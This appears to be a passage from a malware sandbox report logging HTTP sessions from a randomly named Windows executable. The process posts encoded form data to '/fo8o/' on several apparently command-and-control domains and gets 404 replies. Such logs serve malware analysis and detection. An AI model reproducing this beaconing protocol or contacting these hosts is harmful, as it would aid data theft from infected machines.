blWd=ic393dm3l8hWjqoSw56t3v88szK5i1XlV1KRlNlYdVQ3V1wbKu8aVIugQKDj75viGz+K0wn2GvVSBm+rKNQGOLk95nXcQGFEXVqKK52HiJOiH1TnhdY/cJiiPm6zTAhzYeswJsADu9sgMYOqeySQAJBbZVQl5xvePtDWSS9pNnYWDz8Fx0Z1y1My6hM/tNPbBkWKg6k0W9ChS9XR+73/qVYxIy0RRMzs2A+OpjvuIMBLorVk6oFP6Xprm6vLGA704DUih8I3gtok2B4k2+tMnwYsu+cPqHFgW7UJLcFPs2JResH/AodcegaCN7hhouC5ZpJEsHEiX7cgW7zuI60JeSi7X7an0pH15nEFNZASgOVRwKFkrNaE1wyZPPVcoETqEHFkiwQyoFxywvqC0x98C7vphzvMl4UgECr9egoFU931MrywlRSAvRkl0e8P11lRLj7GV76LpQF0Pibup/5EyCNfcqy3KyNvNQlrDySsuHSTnzn35//5EHg1Id9+xzb3N84ccRPci1sr11Sz1pxot0S1pzvIHPROmGpe/8E0AaJDSwmVzRef/T9hjapGA6qGEEDpeKNE5ez26JQFhPh5i9e+fT3yM9O8mqm12VMElzf+AfzUE530juFIlx6+dECOKyNlB2PpiPuOQi6iQXCgjxsCMuQyXyVkr33be3+V8yLwPjwsZ289Nr/FmWE4+zL/YgH9bJtGFY0u0sdyjWxeNX8j8mvAVJ97iJRUthMq3ithoqoWSmVpgo9LFAiXV+3ATFfTUp3M/ORdIL9W5HMEMYRQdrBC4xm7TOamhSpoJEOTq0vwLGb6ca/n8JXcuO0IG5Q6M4u4aa46BD16QyGPHviBQfNYSnFlpqI45i3PHCfdSuQdg89HWvbTyICgg/Zx6i5NjktnT7vfwIJ4eVtFbR6uYzM2Ytvr74YSLms1pfePUvoLxo0pFFKtcZXCBBCKQHqbVOEjBevjoA8SSOXD4v/RgXxjFG4JN1IW4EJ+TWbxUSQ [TRUNCATED]
Aug 2, 2024 13:52:35.869472980 CEST	637	IN	HTTP/1.1 404 Not Found Date: Fri, 02 Aug 2024 11:52:35 GMT Server: Apache Content-Length: 493 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 43 6f 64 65 50 65 6e 20 2d 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 63 6f 64 65 70 65 6e 2e 69 6f 2f 75 7a 63 68 6f 5f 2f 70 65 6e 2f 65 59 64 6d 64 58 77 2e 63 73 73 27 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2e 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 75 6d 62 65 72 22 3e 34 30 34 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 65 78 74 22 3e 3c 73 70 61 6e 3e 4f 6f 6f 70 73 2e 2e 2e 3c 2f 73 70 61 6e 3e 3c 62 72 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>CodePen - 404</title> <link rel='stylesheet' href='https://codepen.io/uzcho_/pen/eYdmdXw.css'><link rel="stylesheet" href="./style.css"></head><body>... partial:index.partial.html --><div class="number">404</div><div class="text"><span>Ooops...</span><br>page not found</div><a class="me" href="https://codepen.io/uzcho_/pens/popular/?grid_type=list" target="_blank"></a>... partial --> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	49758	66.29.149.46	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:52:37.786711931 CEST	526	OUT	GET /fo8o/?blWd=vefd0teQh+kbruh5/qap98pA+QvvtGaRDgCUoL90YCYLczV+Hcc/TcCCUPfrz9W5FQiF6ivoXpNecnmrfO5haoQH1WjEWithRFLxLKOV4ce9fWCCnKIVX4jHNmrNLQZpWctVBLU=&Ixe=Apq4tPPXNdTp2 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Host: www.techchains.info Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
Aug 2, 2024 13:52:38.430005074 CEST	652	IN	HTTP/1.1 404 Not Found Date: Fri, 02 Aug 2024 11:52:38 GMT Server: Apache Content-Length: 493 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 43 6f 64 65 50 65 6e 20 2d 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 63 6f 64 65 70 65 6e 2e 69 6f 2f 75 7a 63 68 6f 5f 2f 70 65 6e 2f 65 59 64 6d 64 58 77 2e 63 73 73 27 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2e 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 75 6d 62 65 72 22 3e 34 30 34 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 65 78 74 22 3e 3c 73 70 61 6e 3e 4f 6f 6f 70 73 2e 2e 2e 3c 2f 73 70 61 6e 3e 3c 62 72 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>CodePen - 404</title> <link rel='stylesheet' href='https://codepen.io/uzcho_/pen/eYdmdXw.css'><link rel="stylesheet" href="./style.css"></head><body>... partial:index.partial.html --><div class="number">404</div><div class="text"><span>Ooops...</span><br>page not found</div><a class="me" href="https://codepen.io/uzcho_/pens/popular/?grid_type=list" target="_blank"></a>... partial --> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	49759	195.110.124.133	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:52:43.545048952 CEST	804	OUT	POST /fo8o/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.elettrosistemista.zip Origin: http://www.elettrosistemista.zip Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 209 Referer: http://www.elettrosistemista.zip/fo8o/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2) Data Raw: 62 6c 57 64 3d 57 4d 64 30 43 59 78 6c 4c 48 31 6a 76 6d 32 51 6e 6b 66 65 70 77 6d 59 51 51 49 75 59 79 6b 47 36 6a 78 58 2b 63 76 52 43 5a 32 50 63 46 4a 72 4d 72 41 4a 43 36 75 58 59 6d 75 39 6a 64 4a 31 34 34 7a 75 7a 2b 41 61 39 38 54 48 42 42 78 47 46 63 4d 7a 4d 33 46 68 63 34 4f 49 2f 6d 37 30 69 66 45 7a 4e 2f 72 72 59 5a 64 79 47 51 6a 37 6c 47 44 77 73 44 61 67 72 6a 66 47 46 6a 45 39 50 77 4b 76 6c 41 2b 6f 36 55 41 6f 66 70 2b 54 36 47 38 6d 32 73 42 73 43 45 72 73 52 67 4e 43 69 69 31 55 77 34 49 32 58 75 43 48 37 6d 35 73 61 4e 51 5a 43 68 4c 45 2b 49 67 42 52 2f 6d 6a 2f 4a 7a 78 62 66 34 49 6f 66 65 4f Data Ascii: blWd=WMd0CYxlLH1jvm2QnkfepwmYQQIuYykG6jxX+cvRCZ2PcFJrMrAJC6uXYmu9jdJ144zuz+Aa98THBBxGFcMzM3Fhc4OI/m70ifEzN/rrYZdyGQj7lGDwsDagrjfGFjE9PwKvlA+o6UAofp+T6G8m2sBsCErsRgNCii1Uw4I2XuCH7m5saNQZChLE+IgBR/mj/Jzxbf4IofeO
Aug 2, 2024 13:52:44.273008108 CEST	367	IN	HTTP/1.1 404 Not Found Date: Fri, 02 Aug 2024 11:52:44 GMT Server: Apache Content-Length: 203 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 66 6f 38 6f 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /fo8o/ was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	49760	195.110.124.133	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:52:46.090212107 CEST	828	OUT	POST /fo8o/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.elettrosistemista.zip Origin: http://www.elettrosistemista.zip Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 233 Referer: http://www.elettrosistemista.zip/fo8o/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2) Data Raw: 62 6c 57 64 3d 57 4d 64 30 43 59 78 6c 4c 48 31 6a 75 47 47 51 6d 48 6e 65 68 77 6d 5a 56 51 49 75 53 53 6b 43 36 6a 39 58 2b 64 71 4d 43 73 75 50 66 6c 35 72 65 71 41 4a 46 36 75 58 58 47 75 38 6e 64 4a 71 34 34 2f 51 7a 2f 38 61 39 39 33 48 42 46 31 47 46 72 51 30 50 48 46 6a 58 59 4f 47 69 57 37 30 69 66 45 7a 4e 2b 62 52 59 64 78 79 47 41 7a 37 6b 6e 44 7a 76 44 61 6a 73 6a 66 47 58 54 45 35 50 77 4b 4e 6c 42 7a 39 36 53 45 6f 66 72 6d 54 30 79 67 6c 2f 73 42 71 66 55 71 35 64 77 4d 30 36 52 41 4c 34 75 6b 49 49 4d 65 5a 33 77 34 32 47 2b 51 36 51 78 72 47 2b 4b 34 7a 52 66 6d 4a 39 4a 4c 78 4a 49 30 76 6e 72 37 74 6d 63 54 68 61 35 54 4d 6d 2f 61 58 70 78 52 76 58 56 35 58 67 67 3d 3d Data Ascii: blWd=WMd0CYxlLH1juGGQmHnehwmZVQIuSSkC6j9X+dqMCsuPfl5reqAJF6uXXGu8ndJq44/Qz/8a993HBF1GFrQ0PHFjXYOGiW70ifEzN+bRYdxyGAz7knDzvDajsjfGXTE5PwKNlBz96SEofrmT0ygl/sBqfUq5dwM06RAL4ukIIMeZ3w42G+Q6QxrG+K4zRfmJ9JLxJI0vnr7tmcTha5TMm/aXpxRvXV5Xgg==
Aug 2, 2024 13:52:46.775857925 CEST	367	IN	HTTP/1.1 404 Not Found Date: Fri, 02 Aug 2024 11:52:46 GMT Server: Apache Content-Length: 203 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 66 6f 38 6f 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /fo8o/ was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	49761	195.110.124.133	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:52:48.630045891 CEST	1841	OUT	POST /fo8o/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.elettrosistemista.zip Origin: http://www.elettrosistemista.zip Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 1245 Referer: http://www.elettrosistemista.zip/fo8o/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2) Data Raw: 62 6c 57 64 3d 57 4d 64 30 43 59 78 6c 4c 48 31 6a 75 47 47 51 6d 48 6e 65 68 77 6d 5a 56 51 49 75 53 53 6b 43 36 6a 39 58 2b 64 71 4d 43 76 4f 50 63 58 78 72 64 4a 6f 4a 45 36 75 58 65 6d 75 68 6e 64 49 32 34 34 6e 4d 7a 2f 77 4b 39 2b 66 48 42 6d 74 47 44 65 6b 30 59 58 46 6a 59 34 4f 4c 2f 6d 37 62 69 66 55 33 4e 2b 72 52 59 64 78 79 47 43 37 37 6a 32 44 7a 70 44 61 67 72 6a 66 4b 46 6a 46 65 50 77 69 33 6c 42 32 47 35 69 6b 6f 66 4c 32 54 32 48 38 6c 6a 38 42 6f 63 55 72 36 64 77 41 6e 36 52 4d 48 34 71 73 6d 49 4d 71 5a 30 32 56 74 57 4b 45 6d 4a 69 66 2f 6c 61 30 52 55 6f 71 73 39 59 75 50 4b 61 30 34 35 6f 58 44 76 4a 72 39 54 6f 4b 68 32 75 48 2b 75 48 5a 35 5a 30 73 63 30 74 4a 6f 45 30 54 52 4e 30 57 76 70 65 68 41 6a 6e 6c 71 37 46 73 4f 59 46 71 62 54 36 47 39 65 70 54 43 41 32 44 30 2b 48 4f 52 30 2f 61 35 73 62 33 65 54 58 39 46 58 6d 53 30 46 41 37 63 52 76 47 69 43 72 6e 69 79 61 79 78 6a 59 54 77 75 42 64 6d 69 42 56 62 6c 74 6d 7a 6b 6f 59 76 2f 6b 74 6a 34 2b 54 42 6a 65 6b 46 70 [TRUNCATED] Data Ascii: blWd=WMd0CYxlLH1juGGQmHnehwmZVQIuSSkC6j9X+dqMCvOPcXxrdJoJE6uXemuhndI244nMz/wK9+fHBmtGDek0YXFjY4OL/m7bifU3N+rRYdxyGC77j2DzpDagrjfKFjFePwi3lB2G5ikofL2T2H8lj8BocUr6dwAn6RMH4qsmIMqZ02VtWKEmJif/la0RUoqs9YuPKa045oXDvJr9ToKh2uH+uHZ5Z0sc0tJoE0TRN0WvpehAjnlq7FsOYFqbT6G9epTCA2D0+HOR0/a5sb3eTX9FXmS0FA7cRvGiCrniyayxjYTwuBdmiBVbltmzkoYv/ktj4+TBjekFpdHNzeNHxy9Pcw24vdDItt+e8WTbZ9URuazYWsp568/f0yKCjRfcltj/CA1fR61rMc9wdk4KaradY6Pdc7076uQy+eLO0Q7KYt/TQgmZS3EbjuUCmO3rbsQ1pg9d4mkADNwjYqc53IOT7JXCtaQXK99mv+mn+8LZPNINpu+Qxsl1QHCywTU7xudlwhT8JJRRErNA2xxuNbLuFFABdhBU1HJ7stU7WFTyLLMWe48zP3XOe1lGfqBSFn9lU+mJOWFkDenbEMP2uzR6vx3qmt02agNXgQMf433nniF72arU/+HzfMx3jHkODTNmUud0+TuZwgo8waZmP+Lk5pBsgRWXcZ3Sbk0ZdOcgtB9mqWbW8TV3q2k+2jaWmoHGYnEgXqbQpn9V6ujEY+nrii6iZI3iPk9fxDRDpw02r9pwl7b0gP/uQMCVDbXc8focD0by28eXd4VXTGobiMOnUYVo4z2TFUUFP+aM/5oOhDjlxawgNSNEHkwsgBuyeOrKEXNOhnzk6R0jzAkXvJCu5eMpVQV3ari5ZVVbWHpxc+q1ZKrPTWm5T9YSJR1aNzgCyM/vpEdo39GOX49YKRPj1lUtwqc6YNKe3Bp+KVtkNYcP6JmvgTk0HTczTJZunfRUgRAQjzoxmITZTBJgAFKZjg0Bv8ZGbFgEA1eLCJASFLd [TRUNCATED]
Aug 2, 2024 13:52:49.336429119 CEST	367	IN	HTTP/1.1 404 Not Found Date: Fri, 02 Aug 2024 11:52:49 GMT Server: Apache Content-Length: 203 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 66 6f 38 6f 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /fo8o/ was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	49762	195.110.124.133	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:52:51.165463924 CEST	532	OUT	GET /fo8o/?Ixe=Apq4tPPXNdTp2&blWd=bO1UBvtoHFNUmlWGmXL3o3L5Dhw+Vy81qF418M7UHpKKa2cgLZsmM/SsbGGojtls67Xc6OgTo57aJm1+bsxMMgl3a4mkxzPbkN9BQKjpJMF6ezHcknvvvjzNmyPcHDwhODu1wVk= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Host: www.elettrosistemista.zip Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
Aug 2, 2024 13:52:51.871396065 CEST	367	IN	HTTP/1.1 404 Not Found Date: Fri, 02 Aug 2024 11:52:51 GMT Server: Apache Content-Length: 203 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 66 6f 38 6f 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /fo8o/ was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	49763	15.197.240.20	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:52:57.411190987 CEST	798	OUT	POST /fo8o/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.donnavariedades.com Origin: http://www.donnavariedades.com Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 209 Referer: http://www.donnavariedades.com/fo8o/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2) Data Raw: 62 6c 57 64 3d 6f 38 66 55 32 74 6a 56 52 44 67 57 48 2b 6f 2f 67 47 49 7a 48 36 46 62 6c 68 36 44 37 74 4b 38 34 6c 70 7a 4d 43 52 30 78 63 75 62 75 42 75 42 77 68 55 38 72 79 4d 52 76 6a 32 35 57 55 30 58 39 66 32 77 62 51 64 6b 55 78 6c 43 4c 34 38 74 5a 65 6f 73 63 7a 2f 66 53 33 64 48 74 49 56 2f 6a 68 35 64 52 72 64 57 45 5a 4f 32 78 52 6f 55 44 34 72 66 58 55 68 54 2f 51 58 43 45 34 59 55 72 49 44 69 49 6d 7a 78 4a 65 67 30 37 31 48 64 44 6a 70 2f 78 39 47 31 6a 4e 38 33 4d 41 48 44 70 49 35 67 38 45 2f 39 70 39 35 6e 63 76 6d 35 51 55 38 4a 4f 34 30 59 59 6f 38 35 5a 77 34 37 77 67 71 75 79 7a 5a 64 73 79 66 74 Data Ascii: blWd=o8fU2tjVRDgWH+o/gGIzH6Fblh6D7tK84lpzMCR0xcubuBuBwhU8ryMRvj25WU0X9f2wbQdkUxlCL48tZeoscz/fS3dHtIV/jh5dRrdWEZO2xRoUD4rfXUhT/QXCE4YUrIDiImzxJeg071HdDjp/x9G1jN83MAHDpI5g8E/9p95ncvm5QU8JO40YYo85Zw47wgquyzZdsyft

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	49764	15.197.240.20	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:52:59.943882942 CEST	822	OUT	POST /fo8o/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.donnavariedades.com Origin: http://www.donnavariedades.com Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 233 Referer: http://www.donnavariedades.com/fo8o/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2) Data Raw: 62 6c 57 64 3d 6f 38 66 55 32 74 6a 56 52 44 67 57 42 75 59 2f 6a 6c 77 7a 41 61 46 63 37 52 36 44 77 4e 4c 33 34 6c 6c 7a 4d 44 6b 76 78 71 2b 62 76 67 65 42 68 51 55 38 71 79 4d 52 6e 44 33 7a 63 30 30 59 39 66 71 34 62 55 5a 6b 55 31 4e 43 4c 35 4d 74 5a 4e 41 76 63 6a 2f 64 48 6e 64 46 79 59 56 2f 6a 68 35 64 52 72 4a 38 45 5a 57 32 78 46 73 55 43 5a 72 63 4c 45 68 51 38 51 58 43 41 34 59 51 72 49 44 4d 49 69 71 61 4a 61 51 30 37 30 33 64 44 33 64 34 36 39 47 2f 74 74 39 61 66 44 2b 4f 6c 2b 67 45 79 58 58 47 38 2f 70 51 55 35 6e 6a 4d 6e 38 71 63 6f 55 61 59 71 6b 4c 5a 51 34 52 79 67 53 75 67 6b 56 36 6a 47 36 4f 6d 69 6f 6b 53 65 55 43 6f 42 5a 58 7a 6e 55 52 42 77 46 63 4f 41 3d 3d Data Ascii: blWd=o8fU2tjVRDgWBuY/jlwzAaFc7R6DwNL34llzMDkvxq+bvgeBhQU8qyMRnD3zc00Y9fq4bUZkU1NCL5MtZNAvcj/dHndFyYV/jh5dRrJ8EZW2xFsUCZrcLEhQ8QXCA4YQrIDMIiqaJaQ0703dD3d469G/tt9afD+Ol+gEyXXG8/pQU5njMn8qcoUaYqkLZQ4RygSugkV6jG6OmiokSeUCoBZXznURBwFcOA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	49765	15.197.240.20	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:53:02.474021912 CEST	1835	OUT	POST /fo8o/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.donnavariedades.com Origin: http://www.donnavariedades.com Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 1245 Referer: http://www.donnavariedades.com/fo8o/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2) Data Raw: 62 6c 57 64 3d 6f 38 66 55 32 74 6a 56 52 44 67 